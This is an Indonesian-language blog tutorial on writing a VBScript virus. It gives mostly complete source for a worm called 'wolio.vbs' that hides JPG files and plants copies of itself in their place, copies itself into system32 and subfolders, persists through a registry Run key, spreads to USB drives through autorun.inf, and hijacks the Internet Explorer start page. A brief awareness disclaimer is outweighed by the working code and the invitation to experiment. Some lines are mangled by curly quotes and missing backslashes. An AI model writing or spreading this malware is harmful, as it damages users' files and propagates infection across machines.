• Beranda
  • Autosultan
  • Bitcoin
  • Dollar
  • Linux
  • LOKER
  • Printer
  • Sofware
  • sosial
  • TISniper
  • Virus
  • Windows

T.I Sniper

#Expert Advisor for MetaTrader 4 #Expert Advisor for MetaTrader 5 #youtube #google #free dollar business every day #Lowongan #Pekerjaan #Loker #forex #trading Autopilot #mining crypto #Update #Tutorial #Komputer Perbaikan, #Email #Facebook , #whatsapp ,#instagram #telegram ,#Internet ,#Motivasi , #Crypto , #AirDrop, #Bitcoin, #Ethereum, #Binance coin, #Cardano, #Degocoin, #Litecoin #Indodax, #Coinbase, #Nexo Dan Mata Uang Digital Lain , #Website, Perbaikan #Server #Domain , #Hosting, #Whm

    • Beranda
    • Contact Forum
    • Coffee JKs88
    • Tentang Kami
    • Parse Code Html
    • Text Terbalik
    • Privacy Policy

    Ikuti Kami!

    Follow Akun Instagram Kami Dapatkan Notifikasi Terbaru!
    Ikuti Kami di Facebok! Untuk mendapatkan notifikasi terbaru.

    Postingan Populer

    Backlink dengan Google Dork Seo

    Dork Seo
    Januari 01, 2016
    0

    Cara Dapat Backlink dengan Google Dork

    Dork Seo
    Februari 13, 2016
    0

    Download File ISO Windows 11 Dan Bootable USB Rufus

    Sofware Windows
    Desember 02, 2021
    0

    Cara Dapat Backlink Edu Gratis

    Seo
    Februari 13, 2016
    0

    FORUM 

    FORUM
    Desember 31, 2021
    0
    Author
    chmood
    Tautan disalin ke papan klip!
    Share Posts "Cara Membuat Virus Menggunakan Visual Basic (VB)"
  • Salin link
  • Simpan Ke Daftar Bacaan
  • Bagikan ke Facebook
  • Bagikan ke Twitter
  • Bagikan ke Pinterest
  • Bagikan ke Telegram
  • Bagikan ke Whatsapp
  • Bagikan ke Tumblr
  • Bagikan ke Line
  • Bagikan ke Email
  • HomeVirusCara Membuat Virus Menggunakan Visual Basic (VB)
    Cara Membuat Virus Menggunakan Visual Basic (VB)

    Cara Membuat Virus Menggunakan Visual Basic (VB)

    Simpan Postingan


    T.I Sniper

         Virus komputer merupakan program komputer yang dapat menggandakan atau menyalin dirinya sendiri dan menyebar dengan cara menyisipkan salinan dirinya ke dalam program atau dokumen lain. Virus komputer dapat dianalogikan dengan virus biologis yang menyebar dengan cara menyisipkan dirinya sendiri ke sel makhluk hidup. Virus komputer dapat merusak (misalnya dengan merusak data pada dokumen), membuat pengguna komputer merasa terganggu, maupun tidak menimbulkan efek sama sekali. Virus yang akan kita coba buat kali ini akan dibuat dengan menggunakan Visual Basic Script. Terlebih dulu kira akan rencakan skenario kerja dari virus tersebut. Skenario virus tersebut adalah sebagai berikut:
    1. Virus akan mencari file-file .JPG pada folder dan subfolder satu tingkat didalamnya, setelah itu merubah ekstension file JPG tersebut menjadi JPEG dan merubah atributnya menjadi hidden file. Sehingga akan dikira file tersebut terhapus.
    2. Meng-copy-kan dirinya (virus) dalam folder-folder tertentu dalam Windows
    3. Memodifikasi Registry agar secara otomatis menjalankan script virus pada saat restart
    4. Menularkan diri pada drive-drive yang aktif termasuk flash disk
    5. Membuat halaman HTML tertentu agar dijalankan pada start page di Internet Explorer
    Nah, demikianlah skenario virus yang akan kita buat. Untuk lebih jelasnya kita akan pelajari dari script dibawah ini:
    1. Pada bagian ini akan dibuat sebuah prosedur untuk mencari file-file JPG dan merubahnya sesuai dengan skenario diatas
    Sub serangan_jpg(target)
    on error resume next
    set ftarget=fso.GetFile(target)
    set fsource = fso.GetFile(Wscript.ScriptFullName)
    ftarget.Copy(Left(target,instrrev(target,”.”)) & “jpeg”)
    set fbackup = fso.GetFile(Left(target,instrrev(target,”.”)) & “jpeg”)
    fbackup.Attributes = 2 fsource.Copy(Left(target,instrrev(target,”.”)) & “jpg ” & “.vbs”)
    ftarget.Delete
    ftarget.Close
    fsource.Close
    End Sub
    Sub carifilejpg(folder)
    For Each filetarget in fso.GetFolder(folder).Files
    If (Right(filetarget,3)=”jpg”) then serangan_jpg(filetarget)
    Next
    End Sub
    2. Prosedur dibawah ini berfungsi untuk mencari drive yang aktif termasuk media flash disk dan kemudian menularinya.
    Sub serangan_drive()
    Set fso = CreateObject(”Scripting.FileSystemObject”)
    Set Drives=fso.drives
    adaflashdisk = False
    For Each drive in Drives
    If drive.isready Then
    fsource.Copy(drive & “” & “wolio.vbs”)
    If drive.DriveType = 1 And drive.DriveLetter > “C:” Then adaflashdisk = True
    End If
    Next
    If adaflashdisk = True Then
    set fileautorun = fso.CreateTextFile(drive.DriveLetter & “” & “autorun.inf”,False)
    fileautorun.WriteLine(”[AUTORUN]“)
    fileautorun.WriteLine(”RUN=wolio.vbs”)
    End If
    End Sub

    3. Merubah Registry agar Start Page pada Internet Explorer menjalankan file HTML yang diinginkan
    Sub serangan_ie()
    If (regedit.RegRead(”HKEY_CURRENT_USER\SOFTWARE\MicrosoftInternet Explorer\Main\Start
    Page”)<>”c:\windows\system32\wolio.html”) Then
    regedit.RegWrite “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Main\Start
    Page”,”c:\windows\system32\wolio.html”
    End If
    End Sub
    4. Bagian ini digunakan untuk membuat sebuah file HTML yang akan menjalankan script virus

    Sub buat_html()
    set filehtml = fso.CreateTextFile(”c:windowssystem32wolio.html”,True)
    filehtml.WriteLine(””)
    filehtml.WriteLine(””)
    “)
    filehtml.WriteLine(”Welcome to Wolio”)
    filehtml.WriteLine(”filehtml.WriteLine(””)
    filehtml.WriteLine(””)
    filehtml.WriteLine(””)
    filehtml.WriteLine(””)
    filehtml.WriteLine(””)
    filehtml.WriteLine(”Selamat Datang di Wolio VBS “)
    filehtml.WriteLine(””)
    filehtml.WriteLine(””)
    End Sub

    5. Pada bagian ini akan mencari folder yang ada dan menularinya dengan script virus

    Sub serangan_folder(foldername)
    on error resume next
    For Each subfolder in fso.GetFolder(foldername).SubFolders
    fsource.Copy(subfolder & “wolio.vbs”)
    carifilejpg(subfolder)
    next
    End Sub

    6. Bagian dibawah ini adalah bagian yang utama gunanya untuk mendeklarasikan variabel dan memangggil semua prosedur

    On Error Resume Next
    dim fso, fsource, ftarget, fbackup, scriptname, myfolder, subfolder, preview, filetarget, sys, regedit, drive,
    filehtml, fileautorun
    dim adaflashdisk
    set fso = CreateObject(”Scripting.FileSystemObject”)
    set fsource = fso.GetFile(Wscript.ScriptFullName)
    set regedit=CreateObject(”WScript.Shell”)
    myfolder = Left(fsource,InStrRev(fsource,””))
    ‘ Copy-kan diri ke “c:windowssystem32″
    fsource.Copy(”c:windowssystem32wolio.vbs”)
    ‘ Cari dan infeksi file JPG didalam folder
    carifilejpg(myfolder)
    ‘ Copy-kan diri di sub folder yang ada
    serangan_folder(myfolder)
    ‘ Regitry
    if
    (regedit.RegRead(”HKEY_LOCAL_MACHINE\SOFTWAREMicrosoft\Windows\Current\Version\Run\Wolio”)<>”c:\windows\system32\wolio.vbs”) Then
    regedit.RegWrite
    “HKEY_LOCAL_MACHINE\SOFTWAREMicrosoft\Windows\Current\VersionRun\Wolio”,”c:\windows\system32\wolio.vbs”
    End If
    ‘ Copy-kan diri ke semua drive aktif
    serangan_drive()
    ‘ Buat file wolio.html
    buat_html()
    ‘ Ubah Start Page di Internet Explorer
    serangan_ie()
    Demikianlah artikel tentang cara pembuatan dan penuluran sebuah virus yang dibuat dengan VBS. Setelah mengetahui teknik penyebaran suatu virus yang dibuat dengan VBS, maka diharapkan kepada Anda agar dapat melakukan pencegahan. Virus yang kita pelajari kali ini sebenarnya hanya virus yang “KONYOL”, ini hanya membuka wacana Anda terhadap bahaya dari virus yang dibuat dengan VBS. Semoga artikel ini dapat bermanfaat.
    Source: c o k e l a t n e t[dot]b l  o g s p o t[dot] c o m
    Silakan Ber Eksperimen Dengan Ide-Ide yang lain, Cheers..
    Jangan lupa untuk sharing kepada yang lain ya :)
    Virus
    Agustus 30, 2015 •
    Disclaimer: gambar, artikel ataupun video yang ada di web ini terkadang berasal dari berbagai sumber media lain. Hak Cipta sepenuhnya dipegang oleh sumber tersebut. Jika ada masalah terkait hal ini, Anda dapat menghubungi kami di halaman ini.
    T.I Sniper

    Your description here

    • Follow
    • Autosultan
    • Wa Admin Bisnis
    Copyright ©2010 - 2022 🔥 T.I Sniper.
    • Beranda
    • Cari
    • Posting
    • Trending
    • Tersimpan